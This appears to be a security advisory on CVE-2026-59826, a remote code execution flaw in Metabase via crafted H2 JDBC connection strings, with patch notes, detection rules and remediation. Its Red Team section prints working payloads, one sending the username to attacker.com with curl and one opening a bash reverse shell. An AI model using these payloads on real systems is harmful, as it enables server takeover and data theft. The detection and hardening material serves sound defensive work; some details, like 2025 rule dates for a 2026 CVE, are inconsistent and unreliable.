CVE-2026-59826

Executive Summary

CVE-2026-59826 is a critical vulnerability in Metabase, an open-source business intelligence and analytics platform. The flaw resides in the H2 database connection creation code path, where unsafe connection properties are not validated. An authenticated administrator can exploit this by registering a crafted H2 database connection, leading to arbitrary Java code execution on the Metabase server. This allows full server compromise, data exfiltration, and lateral movement within the network. The vulnerability affects versions from 1.55.0 up to the fixed releases (1.58.15.1, 1.59.12, 1.60.6.3, 1.61.2). No public proof-of-concept or exploit code is currently available, but the risk is severe due to the high privileges required (admin) and the potential for complete system takeover.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires authenticated administrator access.
• User Interaction (UI): None (N) – No user action needed beyond the admin’s actions.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full system modification possible.
• Availability (A): High (H) – Full system disruption possible.

Threat Level: Critical. Although the EPSS score is 0.0% (indicating low exploitation likelihood currently), the vulnerability allows remote code execution with high impact. Administrators should prioritize patching immediately.

Deep Dive & Mechanics

The vulnerability is rooted in Metabase’s database connection management, specifically when adding a new H2 database. H2 is a Java SQL database engine that supports various connection properties, some of which can enable code execution (e.g., INIT property to run SQL scripts, or TRACE_LEVEL_FILE to write files). Metabase fails to sanitize or restrict these properties on one code path, allowing an admin to inject malicious H2 connection parameters.

When an admin creates a new database connection via the UI or API, Metabase constructs a JDBC URL for H2. If the admin provides a crafted URL containing properties like INIT=CREATE ALIAS IF NOT EXISTS SHELL AS 'String exec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return ""; }';CALL SHELL('id'), the H2 driver will execute arbitrary Java code upon connection. This bypasses any intended restrictions because the validation is missing on that specific code path.

The attack flow:

1. Attacker gains admin credentials (e.g., via phishing, weak passwords, or other means).
2. Attacker navigates to the database creation page or API endpoint.
3. Attacker inputs a malicious H2 JDBC URL with unsafe properties.
4. Metabase attempts to connect to the H2 database, triggering the malicious properties.
5. The H2 driver executes the attacker’s Java code, leading to RCE.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In DatabaseService.java (vulnerable path)
public void createDatabase(DatabaseConfig config) {
    String url = config.getUrl();
    // No validation of H2 properties
    Connection conn = DriverManager.getConnection(url);
    // ... rest of setup
}

Patched Code (Conceptual):

// In DatabaseService.java (patched path)
public void createDatabase(DatabaseConfig config) {
    String url = config.getUrl();
    if (url.startsWith("jdbc:h2:")) {
        // Strip or block dangerous properties
        url = sanitizeH2Url(url);
    }
    Connection conn = DriverManager.getConnection(url);
    // ... rest of setup
}

private String sanitizeH2Url(String url) {
    // Remove INIT, TRACE_LEVEL_FILE, etc.
    return url.replaceAll("(?i)(INIT|TRACE_LEVEL_FILE|TRACE_LEVEL_SYSTEM_OUT)=[^;]*", "");
}

The patch adds a sanitization step that removes or blocks dangerous H2 connection properties before establishing the connection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Metabase instance running a vulnerable version (e.g., 1.55.0 to 1.61.1).
• Valid admin credentials.

Exploitation Steps:

1. Log in as an admin.
2. Navigate to Admin Panel > Databases > Add Database.
3. Set Database Type to "H2".
4. In the "Connection String" field, enter a malicious JDBC URL:

   jdbc:h2:mem:test;INIT=CREATE ALIAS IF NOT EXISTS SHELL AS 'String exec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return ""; }';CALL SHELL('curl http://attacker.com/$(whoami)')
   

5. Click "Save" or "Test Connection". The H2 driver will execute the INIT script, running the curl command.
6. For a reverse shell, use:

   jdbc:h2:mem:test;INIT=CREATE ALIAS IF NOT EXISTS SHELL AS 'String exec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return ""; }';CALL SHELL('bash -c "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"')
   

Note: No public exploit code is available, but the above demonstrates the attack vector.

Blue Team (Detection & Hardening)

Detection:

• Monitor for admin users creating H2 database connections with unusual JDBC URLs.
• Look for JDBC URLs containing INIT=, TRACE_LEVEL_FILE=, or other suspicious properties.
• Alert on outbound connections from the Metabase server to unknown IPs on unusual ports (e.g., 4444).

Hardening:

• Immediately upgrade to patched versions (1.58.15.1, 1.59.12, 1.60.6.3, 1.61.2).
• Restrict admin access to only trusted users.
• Implement network segmentation to limit Metabase server outbound traffic.
• Use a Web Application Firewall (WAF) to block malicious JDBC URLs.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from Metabase server to attacker-controlled IPs (e.g., on ports 80, 443, 4444).
  • DNS queries to domains associated with C2 infrastructure.
• File System:
  • Unexpected files in /tmp/ or Metabase installation directory (e.g., shell.jsp, exploit.class).
  • Modified Metabase configuration files (e.g., metabase.db).
• Logs:
  • Metabase application logs showing creation of H2 databases with suspicious JDBC URLs.
  • System logs showing execution of unusual commands (e.g., curl, wget, bash).
• Processes:
  • Unexpected Java processes or child processes spawned by the Metabase JVM.

Detection Engineering

YARA Rule

rule CVE_2026_59826_Metabase_H2_RCE {
    meta:
        description = "Detects malicious H2 JDBC URLs used in CVE-2026-59826"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-59826"
    strings:
        $h2_url = /jdbc:h2:[^;]*;(INIT|TRACE_LEVEL_FILE|TRACE_LEVEL_SYSTEM_OUT)=/ nocase
        $alias = /CREATE ALIAS/i
        $shell = /SHELL/i
    condition:
        $h2_url and ($alias or $shell)
}

Sigma Rule

title: Metabase H2 RCE via Malicious JDBC URL
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of H2 database connections with suspicious properties in Metabase logs
author: Valters IT
date: 2025-04-10
logsource:
    product: metabase
    service: application
detection:
    selection:
        EventID: "database.create"
        DatabaseType: "h2"
        ConnectionString|contains|all:
            - "INIT="
            - "CREATE ALIAS"
    condition: selection
falsepositives:
    - Legitimate use of H2 with INIT for testing (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-59826 Metabase H2 RCE - Malicious JDBC URL"; flow:to_server,established; content:"POST"; http_method; content:"/api/database"; http_uri; content:"jdbc:h2:"; nocase; content:"INIT="; nocase; content:"CREATE ALIAS"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patching: Upgrade Metabase to versions 1.58.15.1, 1.59.12, 1.60.6.3, or 1.61.2 (or later).
2. Workaround: If patching is not possible, disable H2 database support by removing the H2 driver JAR from the Metabase classpath (not recommended as it may break functionality).
3. Access Control: Review and restrict admin accounts. Enable multi-factor authentication (MFA) for admin users.
4. Network Segmentation: Place Metabase servers in a segmented network with strict egress controls.
5. Monitoring: Implement the detection rules above to identify exploitation attempts.
6. Incident Response: If compromise is suspected, isolate the server, collect logs, and perform forensic analysis.

Valters IT